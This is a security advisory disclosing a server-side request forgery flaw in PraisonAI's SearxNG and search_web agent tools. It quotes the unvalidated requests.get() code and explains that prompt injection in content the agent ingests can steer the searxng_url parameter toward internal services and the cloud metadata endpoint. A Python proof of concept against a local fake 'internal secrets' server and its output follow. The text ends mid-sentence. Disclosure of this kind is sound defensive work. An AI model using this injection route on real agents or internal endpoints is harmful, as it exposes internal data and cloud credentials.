PraisonAI: Server-Side Request Forgery (SSRF) in SearxNG / search_web tools via attacker-controlled searxng_url parameter
Summary
A Server-Side Request Forgery (SSRF) vulnerability in the SearxNG / search_web search tools allows an attacker to make the server perform requests to arbitrary internal endpoints and read the responses back. The searxng_url argument is passed directly to requests.get() with no validation of scheme, host, or port. Because searxng_url is exposed to the LLM as a tool parameter and search_web / searxng_search are part of the default agent toolset, the vulnerability is reachable through prompt injection in any content an agent ingests (web pages, files, tool output). This enables reading internal services and APIs, internal host/port enumeration, and in cloud environments reachability of the instance metadata endpoint (169.254.169.254) with potential IAM/credential exposure.
Details
The SearxNG search provider performs no validation on the searxng_url argument before issuing the HTTP request.
src/praisonai-agents/praisonaiagents/tools/searxng_tools.py (lines 16–47):
```python
def searxng_search(
query: str,
max_results: int = 5,
searxng_url: Optional[str] = None
) -> List[Dict]:
...
url = searxng_url or "http://localhost:32768/search" # line 42
params = {
'q': query,
'format': 'json',
...
}
response = requests.get(url, params=params, timeout=10) # line 45 — no validation
response.raise_for_status()
```
The same unvalidated pattern exists in the unified search_web dispatcher:
src/praisonai-agents/praisonaiagents/tools/web_search.py (lines 235–247):
```python
def _search_searxng(query: str, max_results: int = 5, searxng_url: Optional[str] = None):
...
url = searxng_url or os.environ.get("SEARXNG_URL", "http://localhost:32768/search") # line 239
...
response = requests.get(url, params=params, timeout=10) # line 247, no validation
```
searxng_url is accepted as a parameter on the public search_web() entry point (web_search.py, line 277) and is forwarded through to the request (web_search.py, line 357).
This parameter is attacker-controllable via the LLM:
searxng_url is a real function parameter (searxng_tools.py:19, web_search.py:277).- The tool-schema generator exposes all function parameters to the model, only
self/*args/**kwargs are skipped (src/praisonai-agents/praisonaiagents/llm/llm.py:5968). search_web is part of the default tool profile (src/praisonai-agents/praisonaiagents/tools/profiles.py:68).
Therefore an agent that ingests attacker-controlled content can be coerced into calling search_web(...) with an internal/attacker-chosen searxng_url, and the response body is parsed and returned into the agent's context.
PoC
The following reproduces the vulnerability against the real searxng_search() source. It spins up a fake internal service simulating an internal API/admin endpoint, then demonstrates that an attacker-controlled searxng_url causes the tool to fetch it and return the response to the caller.
```python
import importlib.util, threading, http.server, json, time
REPO = "/path/to/PraisonAI"
MOD_PATH = f"{REPO}/src/praisonai-agents/praisonaiagents/tools/searxng_tools.py"
# Load the REAL searxng_tools.py standalone (only needs requests)
spec = importlib.util.spec_from_file_location("searxng_tools", MOD_PATH)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
# Fake "internal service" (e.g. internal API / admin panel / metadata)
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
body = json.dumps({"results": [
{"title": "INTERNAL_SECRET", "url": self.path,
"content": "SSRF_TEST-12345 path=" + self.path}
]}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a):
pass
http.server.ThreadingHTTPServer.allow_reuse_address = True
srv = http.server.ThreadingHTTPServer(("127.0.0.1", 19998), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
time.sleep(0.4)
# Attacker points the tool at an internal endpoint the tool should never reach:
res = m.searxng_search(
"anything",
max_results=3,
searxng_url="http://127.0.0.1:19998/admin/secrets",
)
print(res)
srv.shutdown()
```
Observed output (confirmed by the reviewer):
```json
[
{
"title": "INTERNAL_SECRET",
"url": "/admin/secrets?q=anything&format=json&engines=google%2Cbing%2Cduckduckgo&safesearch=1",
"snippet": "SSRF_TEST-12345 path=/admin/secrets?q=anything&format=json&engines=google%2Cbing%2Cduckduckgo&safesearch=1"
}
]
```
The internal service's response body (INTERNAL_SECRET / SSRF_TEST-12345) is returned to the caller, confirming that re
